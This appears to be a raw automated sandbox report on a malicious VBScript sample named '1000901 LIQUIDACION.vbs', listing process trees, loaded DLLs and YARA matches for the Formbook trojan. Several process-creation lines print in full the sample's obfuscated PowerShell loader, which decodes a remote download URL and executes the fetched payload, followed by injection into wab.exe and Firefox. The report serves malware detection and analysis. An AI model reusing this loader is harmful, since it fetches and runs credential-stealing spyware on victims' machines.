Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058C0E60 16_2_058C0E60
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Code function: 16_2_058D7E60 16_2_058D7E60
Found potential string decryption / allocating functions
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: String function: 24705130 appears 36 times
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: String function: 24717E54 appears 88 times
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: String function: 2473EA12 appears 80 times
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: String function: 2474F290 appears 103 times
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: String function: 246BB970 appears 266 times
Java / VBScript file with very long strings (likely obfuscated code)
Source: 1000901 LIQUIDACION.vbs Initial sample: Strings found which are bigger than 50
Yara signature match
Source: amsi64_7500.amsi.csv, type: OTHER Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi32_7728.amsi.csv, type: OTHER Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 00000012.00000002.2595491228.0000000002250000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000011.00000002.2595044684.00000000029A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000011.00000002.2595118145.00000000029E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000010.00000002.2595680421.00000000055C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000011.00000002.2593836346.00000000024F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.2249433724.0000000002CB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 7500, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winVBS@23/8@4/4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\Medikamentel.Ddg Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7508:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_no41w1de.rju.ps1 Jump to behavior
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1000901 LIQUIDACION.vbs"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=7500
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=7728
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1000901 LIQUIDACION.vbs"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Demonland = 1;$Predecreeing='Substrin';$Predecreeing+='g';Function Herremaend($Sursdt){$monuronsnteranimate=$Sursdt.Length-$Demonland;For($monurons=5; $monurons -lt $monuronsnteranimate; $monurons+=(6)){$Alaskans+=$Sursdt.$Predecreeing.Invoke($monurons, $Demonland);}$Alaskans;}function Surere($Adipometer){. ($Disaffirmative) ($Adipometer);}$Monostichic=Herremaend 'AristMDe.imo SjakzSaks.ikortslSportlOmplaarelai/Hiero5Addit..plgk0T,aum An.ta(ProduWEqui.iGeniznIldebdPa.rao SnitwPickesAlleg ,ersoNI,fanTUdpos drown1Wighe0Abbes.Unser0Snoni;Pri o UtakWAfgifi efugnSkal,6Casto4Benin;R.stb FresxTurbu6Homog4 Radb;Round FurcrrVebogv Matr:Famil1 Aste2 Irre1Hvede. Fa,u0Un,er)Gummi unmutG U.dveT lesc ArabkAdvo,o A.ti/Retor2Bi,le0Taale1Folke0Overs0Mede 1Calch0Parti1H.and FlintFPardoiNondirNonvae EstufD,teno Hus.x Pers/Murbr1Filbe2 lapu1b.udo. Un.e0Straf ';$Apyonin182=Herremaend 'EksprUPapirs,ingeeSucrerSpeci-sk.ttASamvigRevaleAfkvinU armt.ofag ';$Halloffire=Herremaend 'Planoh FedetSponttKo,sip SidesNon,r:Speda/Efter/Friskd Kar,rFacadiQv.nsvSlidbeAl,at.BifalgDiloho Socio ,enogSp.cilUndereGlo i. ,nnac reto AfstmGrept/ PadauOv rgcForsk?dyrebeFascixLuftrp ,isco banfr F idtHuffi=Chattd inusoTelefw NattnAftallTranco.anelaArbejd Send&LeggiiUnbludRecla= Dunj1Filmg3 O sts PellIBlokpDEuropg isanKUn oluTrafi2RedskDBuega7Ol,giiP.icaIPosta6 AposzCa,riR ParkxC,mpoA ond4Macaag SoupGTr,jeYtingsS DecoaIniqusVoitu5Ar,aniAl.rm0,asufm Ulovh eriAAdoptTUdfreB icca ';$Startngles=Herremaend 'Redak>Paraf ';$Disaffirmative=Herremaend 'I ebli Vil,e.npatxAdelo ';$Forfrdiget='Tented';Surere (Herremaend ' UlovSsweepefeerstTandk-AttacCSpillodevionTryk.tSodeneProtenOpsentLaves Dunc - A.prPUnderaSubmytStal,hnondi ProtoTkun.t:H,lvt\ ebusTFircieHusassSpytstVesicuStrogdRecipoSugge. VorttHalvfx FejetAutos Strue-UdsagVkunsta CpmmlUdmatuSadl.e flin Hjemm$,aderFThromoLiv or e aafHulnirStanddsennaiArkitgImmigeGlosetRubbe;He er ');Surere (Herremaend 'AlkyliMuddlfAlb i udpi(antiotAvissePleursKbsvatMiddl-Kronip Tanda VipetDu,tthzygne GrandTLiche:Lusk.\GruppTA skieSpindsKantetBajaduPirridHvedeo Gobl.Stra,tSamarxReg st Ultr)Globa{Poly e eostxHillbi SkubtRaadf} Sual;trise ');$Tidsskriftsudvlgelserne = Herremaend 'Shille,lericRisikhKaldeo Tjen L nje%Ki,keaBr.dop LendpBirthdNo.spaRevalt Tiraasnebo% Do,e\AasteMnyst.eFrankd TsaririskikAnnalaWilmam,rfteeLamb nBe,hptR.ttoeSvveflCri,i.VanddDPro,odTopsagDdska Lserf&halss&Udl,s Telefe ,ilccRkv,khpooftoBugse Malth$S are ';Surere (Herremaend 'Gombe$TilbagSpa.kl Sgepo F,rfbPseu,aSkrd.l P.og:Bi,psFFo tirSl wdi KolitFremtuBrinjr DecieMalminTredi=S,pra(Firsic BystmP umpd unde Te,ot/Pallhc Rapg Conta$.retcT,elamiExu.ad .ibesS.othsUnto kPrejursulteiDelphfTarlet UtilsDiscruBo uldKinesvTilkrl Mes,g Dv,geergonlVrc.ssProtoeSomikrHanden DraweBoxfi)Outte ');Surere (Herremaend 'Anstt$ pibogT,lstl Ch,roParrobEutecaOrkidlKan i:UnsocTDrmmeinucl.r,eproe G
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Medikamentel.Ddg && echo $"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Demonland = 1;$Predecreeing='Substrin';$Predecreeing+='g';Function Herremaend($Sursdt){$monuronsnteranimate=$Sursdt.Length-$Demonland;For($monurons=5; $monurons -lt $monuronsnteranimate; $monurons+=(6)){$Alaskans+=$Sursdt.$Predecreeing.Invoke($monurons, $Demonland);}$Alaskans;}function Surere($Adipometer){. ($Disaffirmative) ($Adipometer);}$Monostichic=Herremaend 'AristMDe.imo SjakzSaks.ikortslSportlOmplaarelai/Hiero5Addit..plgk0T,aum An.ta(ProduWEqui.iGeniznIldebdPa.rao SnitwPickesAlleg ,ersoNI,fanTUdpos drown1Wighe0Abbes.Unser0Snoni;Pri o UtakWAfgifi efugnSkal,6Casto4Benin;R.stb FresxTurbu6Homog4 Radb;Round FurcrrVebogv Matr:Famil1 Aste2 Irre1Hvede. Fa,u0Un,er)Gummi unmutG U.dveT lesc ArabkAdvo,o A.ti/Retor2Bi,le0Taale1Folke0Overs0Mede 1Calch0Parti1H.and FlintFPardoiNondirNonvae EstufD,teno Hus.x Pers/Murbr1Filbe2 lapu1b.udo. Un.e0Straf ';$Apyonin182=Herremaend 'EksprUPapirs,ingeeSucrerSpeci-sk.ttASamvigRevaleAfkvinU armt.ofag ';$Halloffire=Herremaend 'Planoh FedetSponttKo,sip SidesNon,r:Speda/Efter/Friskd Kar,rFacadiQv.nsvSlidbeAl,at.BifalgDiloho Socio ,enogSp.cilUndereGlo i. ,nnac reto AfstmGrept/ PadauOv rgcForsk?dyrebeFascixLuftrp ,isco banfr F idtHuffi=Chattd inusoTelefw NattnAftallTranco.anelaArbejd Send&LeggiiUnbludRecla= Dunj1Filmg3 O sts PellIBlokpDEuropg isanKUn oluTrafi2RedskDBuega7Ol,giiP.icaIPosta6 AposzCa,riR ParkxC,mpoA ond4Macaag SoupGTr,jeYtingsS DecoaIniqusVoitu5Ar,aniAl.rm0,asufm Ulovh eriAAdoptTUdfreB icca ';$Startngles=Herremaend 'Redak>Paraf ';$Disaffirmative=Herremaend 'I ebli Vil,e.npatxAdelo ';$Forfrdiget='Tented';Surere (Herremaend ' UlovSsweepefeerstTandk-AttacCSpillodevionTryk.tSodeneProtenOpsentLaves Dunc - A.prPUnderaSubmytStal,hnondi ProtoTkun.t:H,lvt\ ebusTFircieHusassSpytstVesicuStrogdRecipoSugge. VorttHalvfx FejetAutos Strue-UdsagVkunsta CpmmlUdmatuSadl.e flin Hjemm$,aderFThromoLiv or e aafHulnirStanddsennaiArkitgImmigeGlosetRubbe;He er ');Surere (Herremaend 'AlkyliMuddlfAlb i udpi(antiotAvissePleursKbsvatMiddl-Kronip Tanda VipetDu,tthzygne GrandTLiche:Lusk.\GruppTA skieSpindsKantetBajaduPirridHvedeo Gobl.Stra,tSamarxReg st Ultr)Globa{Poly e eostxHillbi SkubtRaadf} Sual;trise ');$Tidsskriftsudvlgelserne = Herremaend 'Shille,lericRisikhKaldeo Tjen L nje%Ki,keaBr.dop LendpBirthdNo.spaRevalt Tiraasnebo% Do,e\AasteMnyst.eFrankd TsaririskikAnnalaWilmam,rfteeLamb nBe,hptR.ttoeSvveflCri,i.VanddDPro,odTopsagDdska Lserf&halss&Udl,s Telefe ,ilccRkv,khpooftoBugse Malth$S are ';Surere (Herremaend 'Gombe$TilbagSpa.kl Sgepo F,rfbPseu,aSkrd.l P.og:Bi,psFFo tirSl wdi KolitFremtuBrinjr DecieMalminTredi=S,pra(Firsic BystmP umpd unde Te,ot/Pallhc Rapg Conta$.retcT,elamiExu.ad .ibesS.othsUnto kPrejursulteiDelphfTarlet UtilsDiscruBo uldKinesvTilkrl Mes,g Dv,geergonlVrc.ssProtoeSomikrHanden DraweBoxfi)Outte ');Surere (Herremaend 'Anstt$ pibogT,lstl Ch,roParrobEutecaOrkidlKan i:UnsocTDrmmeinucl.r,eproe G
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Medikamentel.Ddg && echo $"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Process created: C:\Windows\SysWOW64\replace.exe "C:\Windows\SysWOW64\replace.exe"
Source: unknown Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: unknown Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: C:\Windows\SysWOW64\replace.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: unknown Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Demonland = 1;$Predecreeing='Substrin';$Predecreeing+='g';Function Herremaend($Sursdt){$monuronsnteranimate=$Sursdt.Length-$Demonland;For($monurons=5; $monurons -lt $monuronsnteranimate; $monurons+=(6)){$Alaskans+=$Sursdt.$Predecreeing.Invoke($monurons, $Demonland);}$Alaskans;}function Surere($Adipometer){. ($Disaffirmative) ($Adipometer);}$Monostichic=Herremaend 'AristMDe.imo SjakzSaks.ikortslSportlOmplaarelai/Hiero5Addit..plgk0T,aum An.ta(ProduWEqui.iGeniznIldebdPa.rao SnitwPickesAlleg ,ersoNI,fanTUdpos drown1Wighe0Abbes.Unser0Snoni;Pri o UtakWAfgifi efugnSkal,6Casto4Benin;R.stb FresxTurbu6Homog4 Radb;Round FurcrrVebogv Matr:Famil1 Aste2 Irre1Hvede. Fa,u0Un,er)Gummi unmutG U.dveT lesc ArabkAdvo,o A.ti/Retor2Bi,le0Taale1Folke0Overs0Mede 1Calch0Parti1H.and FlintFPardoiNondirNonvae EstufD,teno Hus.x Pers/Murbr1Filbe2 lapu1b.udo. Un.e0Straf ';$Apyonin182=Herremaend 'EksprUPapirs,ingeeSucrerSpeci-sk.ttASamvigRevaleAfkvinU armt.ofag ';$Halloffire=Herremaend 'Planoh FedetSponttKo,sip SidesNon,r:Speda/Efter/Friskd Kar,rFacadiQv.nsvSlidbeAl,at.BifalgDiloho Socio ,enogSp.cilUndereGlo i. ,nnac reto AfstmGrept/ PadauOv rgcForsk?dyrebeFascixLuftrp ,isco banfr F idtHuffi=Chattd inusoTelefw NattnAftallTranco.anelaArbejd Send&LeggiiUnbludRecla= Dunj1Filmg3 O sts PellIBlokpDEuropg isanKUn oluTrafi2RedskDBuega7Ol,giiP.icaIPosta6 AposzCa,riR ParkxC,mpoA ond4Macaag SoupGTr,jeYtingsS DecoaIniqusVoitu5Ar,aniAl.rm0,asufm Ulovh eriAAdoptTUdfreB icca ';$Startngles=Herremaend 'Redak>Paraf ';$Disaffirmative=Herremaend 'I ebli Vil,e.npatxAdelo ';$Forfrdiget='Tented';Surere (Herremaend ' UlovSsweepefeerstTandk-AttacCSpillodevionTryk.tSodeneProtenOpsentLaves Dunc - A.prPUnderaSubmytStal,hnondi ProtoTkun.t:H,lvt\ ebusTFircieHusassSpytstVesicuStrogdRecipoSugge. VorttHalvfx FejetAutos Strue-UdsagVkunsta CpmmlUdmatuSadl.e flin Hjemm$,aderFThromoLiv or e aafHulnirStanddsennaiArkitgImmigeGlosetRubbe;He er ');Surere (Herremaend 'AlkyliMuddlfAlb i udpi(antiotAvissePleursKbsvatMiddl-Kronip Tanda VipetDu,tthzygne GrandTLiche:Lusk.\GruppTA skieSpindsKantetBajaduPirridHvedeo Gobl.Stra,tSamarxReg st Ultr)Globa{Poly e eostxHillbi SkubtRaadf} Sual;trise ');$Tidsskriftsudvlgelserne = Herremaend 'Shille,lericRisikhKaldeo Tjen L nje%Ki,keaBr.dop LendpBirthdNo.spaRevalt Tiraasnebo% Do,e\AasteMnyst.eFrankd TsaririskikAnnalaWilmam,rfteeLamb nBe,hptR.ttoeSvveflCri,i.VanddDPro,odTopsagDdska Lserf&halss&Udl,s Telefe ,ilccRkv,khpooftoBugse Malth$S are ';Surere (Herremaend 'Gombe$TilbagSpa.kl Sgepo F,rfbPseu,aSkrd.l P.og:Bi,psFFo tirSl wdi KolitFremtuBrinjr DecieMalminTredi=S,pra(Firsic BystmP umpd unde Te,ot/Pallhc Rapg Conta$.retcT,elamiExu.ad .ibesS.othsUnto kPrejursulteiDelphfTarlet UtilsDiscruBo uldKinesvTilkrl Mes,g Dv,geergonlVrc.ssProtoeSomikrHanden DraweBoxfi)Outte ');Surere (Herremaend 'Anstt$ pibogT,lstl Ch,roParrobEutecaOrkidlKan i:UnsocTDrmmeinucl.r,eproe G Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Medikamentel.Ddg && echo $" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Demonland = 1;$Predecreeing='Substrin';$Predecreeing+='g';Function Herremaend($Sursdt){$monuronsnteranimate=$Sursdt.Length-$Demonland;For($monurons=5; $monurons -lt $monuronsnteranimate; $monurons+=(6)){$Alaskans+=$Sursdt.$Predecreeing.Invoke($monurons, $Demonland);}$Alaskans;}function Surere($Adipometer){. ($Disaffirmative) ($Adipometer);}$Monostichic=Herremaend 'AristMDe.imo SjakzSaks.ikortslSportlOmplaarelai/Hiero5Addit..plgk0T,aum An.ta(ProduWEqui.iGeniznIldebdPa.rao SnitwPickesAlleg ,ersoNI,fanTUdpos drown1Wighe0Abbes.Unser0Snoni;Pri o UtakWAfgifi efugnSkal,6Casto4Benin;R.stb FresxTurbu6Homog4 Radb;Round FurcrrVebogv Matr:Famil1 Aste2 Irre1Hvede. Fa,u0Un,er)Gummi unmutG U.dveT lesc ArabkAdvo,o A.ti/Retor2Bi,le0Taale1Folke0Overs0Mede 1Calch0Parti1H.and FlintFPardoiNondirNonvae EstufD,teno Hus.x Pers/Murbr1Filbe2 lapu1b.udo. Un.e0Straf ';$Apyonin182=Herremaend 'EksprUPapirs,ingeeSucrerSpeci-sk.ttASamvigRevaleAfkvinU armt.ofag ';$Halloffire=Herremaend 'Planoh FedetSponttKo,sip SidesNon,r:Speda/Efter/Friskd Kar,rFacadiQv.nsvSlidbeAl,at.BifalgDiloho Socio ,enogSp.cilUndereGlo i. ,nnac reto AfstmGrept/ PadauOv rgcForsk?dyrebeFascixLuftrp ,isco banfr F idtHuffi=Chattd inusoTelefw NattnAftallTranco.anelaArbejd Send&LeggiiUnbludRecla= Dunj1Filmg3 O sts PellIBlokpDEuropg isanKUn oluTrafi2RedskDBuega7Ol,giiP.icaIPosta6 AposzCa,riR ParkxC,mpoA ond4Macaag SoupGTr,jeYtingsS DecoaIniqusVoitu5Ar,aniAl.rm0,asufm Ulovh eriAAdoptTUdfreB icca ';$Startngles=Herremaend 'Redak>Paraf ';$Disaffirmative=Herremaend 'I ebli Vil,e.npatxAdelo ';$Forfrdiget='Tented';Surere (Herremaend ' UlovSsweepefeerstTandk-AttacCSpillodevionTryk.tSodeneProtenOpsentLaves Dunc - A.prPUnderaSubmytStal,hnondi ProtoTkun.t:H,lvt\ ebusTFircieHusassSpytstVesicuStrogdRecipoSugge. VorttHalvfx FejetAutos Strue-UdsagVkunsta CpmmlUdmatuSadl.e flin Hjemm$,aderFThromoLiv or e aafHulnirStanddsennaiArkitgImmigeGlosetRubbe;He er ');Surere (Herremaend 'AlkyliMuddlfAlb i udpi(antiotAvissePleursKbsvatMiddl-Kronip Tanda VipetDu,tthzygne GrandTLiche:Lusk.\GruppTA skieSpindsKantetBajaduPirridHvedeo Gobl.Stra,tSamarxReg st Ultr)Globa{Poly e eostxHillbi SkubtRaadf} Sual;trise ');$Tidsskriftsudvlgelserne = Herremaend 'Shille,lericRisikhKaldeo Tjen L nje%Ki,keaBr.dop LendpBirthdNo.spaRevalt Tiraasnebo% Do,e\AasteMnyst.eFrankd TsaririskikAnnalaWilmam,rfteeLamb nBe,hptR.ttoeSvveflCri,i.VanddDPro,odTopsagDdska Lserf&halss&Udl,s Telefe ,ilccRkv,khpooftoBugse Malth$S are ';Surere (Herremaend 'Gombe$TilbagSpa.kl Sgepo F,rfbPseu,aSkrd.l P.og:Bi,psFFo tirSl wdi KolitFremtuBrinjr DecieMalminTredi=S,pra(Firsic BystmP umpd unde Te,ot/Pallhc Rapg Conta$.retcT,elamiExu.ad .ibesS.othsUnto kPrejursulteiDelphfTarlet UtilsDiscruBo uldKinesvTilkrl Mes,g Dv,geergonlVrc.ssProtoeSomikrHanden DraweBoxfi)Outte ');Surere (Herremaend 'Anstt$ pibogT,lstl Ch,roParrobEutecaOrkidlKan i:UnsocTDrmmeinucl.r,eproe G Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Medikamentel.Ddg && echo $" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe" Jump to behavior
Source: C:\Program Files (x86)\WlTfjZxwOvgTwrNlfiOwVtiYnOHnAouFcPIfYbgHxiC\MSHXUddoGk.exe Process created: C:\Windows\SysWOW64\replace.exe "C:\Windows\SysWOW64\replace.exe" Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: vbscript.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
